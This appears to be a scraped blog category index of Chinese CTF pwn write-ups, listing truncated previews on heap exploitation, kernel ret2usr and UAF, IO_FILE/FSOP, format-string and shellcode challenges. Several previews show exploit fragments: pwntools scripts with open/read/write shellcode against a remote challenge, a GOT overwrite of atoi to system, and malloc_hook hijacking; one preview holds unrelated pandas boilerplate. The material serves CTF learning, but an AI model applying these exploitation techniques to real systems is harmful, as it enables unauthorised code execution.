
二进制漏洞
文章平均质量分 66
pwn的wp
Akura@lan
咸鱼………
展开
-
20190ctf ageis
Analysischecksecfranex@franex-virtual-machine:~/桌面/babyaegis$ checksec aegis[*] '/home/franex/\xe6\xa1\x8c\xe9\x9d\xa2/babyaegis/aegis' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE:原创 2021-11-24 00:05:18 · 1006 阅读 · 0 评论 -
killer queen ctf
SEARCHING先看一下ida的main函数int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int v3; // [rsp+Ch] [rbp-4h] setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); puts("All my homies hate fufu's."); puts("You can原创 2021-11-13 01:27:32 · 552 阅读 · 0 评论 -
kernel pwn ret2usr
思路通过读取 /tmp/kallsyms 获取 commit_creds 和 prepare_kernel_cred 的方法相同,同时根据这些偏移能确定 gadget 的地址。leak canary 的方法也相同,通过控制全局变量 off 读出 canary。但是之后就不同了rop的构造是执行函数commit_cred(prepare_kernel_cred(0))进行提升权限,通过swapgs; iretq返回用户态执行system_calll而ret2usr是执行用户态中的commit_cre原创 2021-11-08 00:30:03 · 228 阅读 · 0 评论 -
kernel pwn-kernel UAF
不同于用户态pwn,内核pwn就不是用python远程拿shell,而是给一个环境包,下载qemu本地起系统。给定以下文件boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关bzImage: kernel binary rootfs.cpio: 文件系统映像...原创 2021-10-24 17:02:09 · 2292 阅读 · 0 评论 -
house of grey
linux采用的文件系统是/proc文件系统,在运行时可以更改内核的数据结构和设置参数等/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。但是不可读所以可以结合map的信息确定读的偏移值,只有读取的偏移值是被映射的区域才能正确读取内存内容。写入mem文件来直接写入内存,可以直接修改代码段,放入我们的shellcode,从而在程序流程执行到这一步时执行shel原创 2021-10-18 00:41:54 · 162 阅读 · 0 评论 -
Noleak
这道题很有意思,是比较常见的堆题,记录一下思路就是通过unlink改写chunk数组地址为bss段上地址,然后编辑堆就可以在bss上写入shellcode然后去通过unsorted bin构造exp链接:链接#coding:utf8 from pwn import * context(os='linux',arch='amd64') elf = ELF('./timu') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')原创 2021-09-28 16:54:55 · 173 阅读 · 0 评论 -
4-main
拿到edit(0x200)的权限原创 2021-09-17 01:03:12 · 139 阅读 · 0 评论 -
2018年强网杯pwn题复现
silent漏洞位置: free后没有给指针置空,edit也没有检查chunk是否free利用思路: 利用uaf把chunk进入fastbin中,构造三个单链表来写free_hook然后getshell原创 2021-08-31 14:13:31 · 265 阅读 · 0 评论 -
Tcache attack
文章目录前言一、Tcache相应结构体tcache_entry和tcache_perthread_structtcache_perthread_struct源码分析libc_malloc__tcache_init()申请内存tcache_get()__libc_free()_int_free()tcache_put()二、Tcache attckoverview总结前言提示:这里可以添加本文要记录的大概内容:例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就原创 2021-08-23 01:38:49 · 348 阅读 · 0 评论 -
IO_FILE hack FSOP
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录概述hack例题:House of orange 2016-pwn450思路exp:概述来自CTFwikiFSOP是File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中原创 2021-08-21 02:27:11 · 584 阅读 · 0 评论 -
IO_FILE hack 修改vtable
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档IO_file hackIO调用的vtable函数freadfwritefclose思路例题2018 HCTF the end分析思路:利用IO调用的vtable函数fread_IO_sgetn函数调用了vtable的_IO_file_xsgetn。_IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。vtable中的_IO_file_doallocate调用了vtable中原创 2021-08-19 14:01:59 · 519 阅读 · 0 评论 -
IO_file fopen
@TOC前言跟着raycp师傅学习IO_FILE。原文链接提示:以下是本篇文章正文内容,下面案例可供参考概述缓冲区建立函数_IO_doallocbuf(上一篇详细描述过)会在里面建立输入输出缓冲区,并把基地址保存在_IO_buf_base中,结束地址保存在_IO_buf_end中。如果缓冲区作为输出缓冲区使用,会将基址址给_IO_write_base,结束地址给_IO_write_end,同时_IO_write_ptr表示为已经使用的地址。即_IO_write_base到_IO_writ原创 2021-08-18 23:03:34 · 416 阅读 · 0 评论 -
IO_FILE fread
文章目录前言流程源码分析对缓冲区初始化总结前言跟着raycp师傅学IO_FILE。提示:以下是本篇文章正文内容,下面案例可供参考流程整体流程为fread调用_IO_sgetn,_IO_sgetn调用vtable中的_IO_XSGETN也就是_IO_file_xsgetn,_IO_file_xsgetn是fread实现的核心函数。判断fp->_IO_buf_base输入缓冲区是否为空,如果为空则调用的_IO_doallocbuf去初始化输入缓冲区。在分配完输入缓冲区或输入缓冲区不.原创 2021-08-18 15:51:24 · 369 阅读 · 0 评论 -
IO_FILE fopen
IO_FILE fopen前言源码malloc分配内存空间_IO_no_init 对file结构体进行null初始化_IO_file_init将结构体链接进_IO_list_all_IO_file_fopen打开文件句柄总结前言跟着raycp师傅学习IO_FILE,原文链接源码#include<stdio.h>int main(){ FILE*fp=fopen("test","wb"); char *ptr=malloc(0x20); return 0;原创 2021-08-18 00:16:53 · 502 阅读 · 0 评论 -
pwnable_orw 1
只能用read、open、write函数那我们先open,然后read,最后write打印出来from pwn import*p = remote('node4.buuoj.cn','25548')shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx原创 2021-08-17 00:14:18 · 248 阅读 · 0 评论 -
0ctf_2017_babyheap
思路查看了一下ida后,发现有堆溢出漏洞那可以利用unsorted bin 泄露main arena的地址,然后在malloc_hook处构造fake_chunk ,利用one_gadget在malloc_hook写入函数值,可以getshellps:注意本地libc的问题exp及具体分析from pwn import*context.log_level = 'debug'#p = process('./babyheap')p = remote('node4.buuoj.cn','289原创 2021-08-13 22:10:12 · 186 阅读 · 0 评论 -
babyrop
文章目录一、题目特征二、使用步骤1.引入库2.读入数据总结一、题目特征二、使用步骤1.引入库代码如下(示例):import numpy as npimport pandas as pdimport matplotlib.pyplot as pltimport seaborn as snsimport warningswarnings.filterwarnings('ignore')import sslssl._create_default_https_context = ssl.原创 2021-07-09 22:33:02 · 251 阅读 · 0 评论 -
第五空间pwn5
文章目录前言一、题目特征二、分析方法1三.参考文章前言一、题目特征二、分析方法1格式化字符串漏洞,那直接改那个函数的值直接修改atoi函数的.got.plt表地址这样在调用atoi函数的时候,可以直接在公共plt表跳转到system函数确定偏移为10from pwn import*p = process('./pwn')elf = ELF('./pwn')atoi_got = elf.got['atoi']system_plt = elf.plt['system']p原创 2021-07-03 08:16:43 · 320 阅读 · 0 评论 -
ISCC部分pwn题解
菜的扣脚刚刚入门堆的辣鸡pwn手M78整型漏洞,那个262有点迷,感觉是263flag{N@x_addr_*EnaBleD%}game随机数的题,利用python脚本修改随机数种子再写一个C脚本算随机数成功拿到flagISCC{this****&haobdvaljdnvoa0%bor}BOX有libc,查看发现是libc2.27考虑tcache写增删改查函数泄露libc计算malloc最后劫持程序流ISCC{angav**anva&77lnv原创 2021-05-25 20:59:24 · 2093 阅读 · 5 评论 -
攻防世界 pwn进阶区解法 write up(一)
实时数据监测找信息没有发现canary,没有开启PIE和NX查看ida发现有一个printf,这里是fgets,可能会用到格式化字符串漏洞,运行一下程序结合ida的分析我们可知,要把这个值改成0x2223322,那结合之前的printf,可以确定是格式化字符串漏洞给了我们地址,那我们的payload就以地址为开头,因为是p32,所以后面35795746要减4,构成%35795742d%偏移量n$然后确定偏移量:总共,从A到41包括A有12个,偏移量=12所以得到payload原创 2021-03-01 15:57:41 · 444 阅读 · 0 评论 -
攻防世界 pwn练习区解法 write up
checksecstack:canary found 是指运行程序时,会把canary取出放入一个rbp定向的值,在退出函数前将rbp定向的值和canary的值进行一个比较(异或一下,看是不是0),如果不相等,则运行_stack_chk_fail函数NX数据所在的内存为不可执行,程序溢出转为shellcode时,程序会去在数据页面上执行指令,这个时候CPU抛出异常,不会让它执行PIE程序装在随机的地址ASLR即使文件开启了PIE保护,还需要开启ASLR才会真正打乱基址...原创 2021-02-16 17:29:45 · 912 阅读 · 2 评论 -
[PWN] CTF-WIKI ret2text
ret2text首先我们打开题目,checksec一下,主要是查看一下该程序是多少位的,并了解其保护机制32位的小端位程序,没有开启canary堆栈保护及NX,于是我们用32位ida打开我们打开ida-32,看到源码,发现了一个get函数,这属于我们常说的危险函数在函数框,我们找到了一个secure函数,调出来,发现有一个system("/bin/sh")函数这个时候,我们只需要知道调用system函数的指令的地址,然后当get函数执行时我们把get函数的ret上准备ret的地址换成调用syst原创 2021-02-06 21:09:54 · 596 阅读 · 0 评论 -
BUU test your nc
一.test_your_nc解法根据提示,我们直接nc它给的地址,然后ls发现flag字段,我们cat flag解析关于nc命令nc [-hlnruz][-g<网关…>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v…][-w<超时秒数>][主机名称][通信端口…]所以此时我们应输入:nc 给定主机号 端口号此时已经连接到端口,我们lsls原创 2021-01-27 21:39:33 · 604 阅读 · 0 评论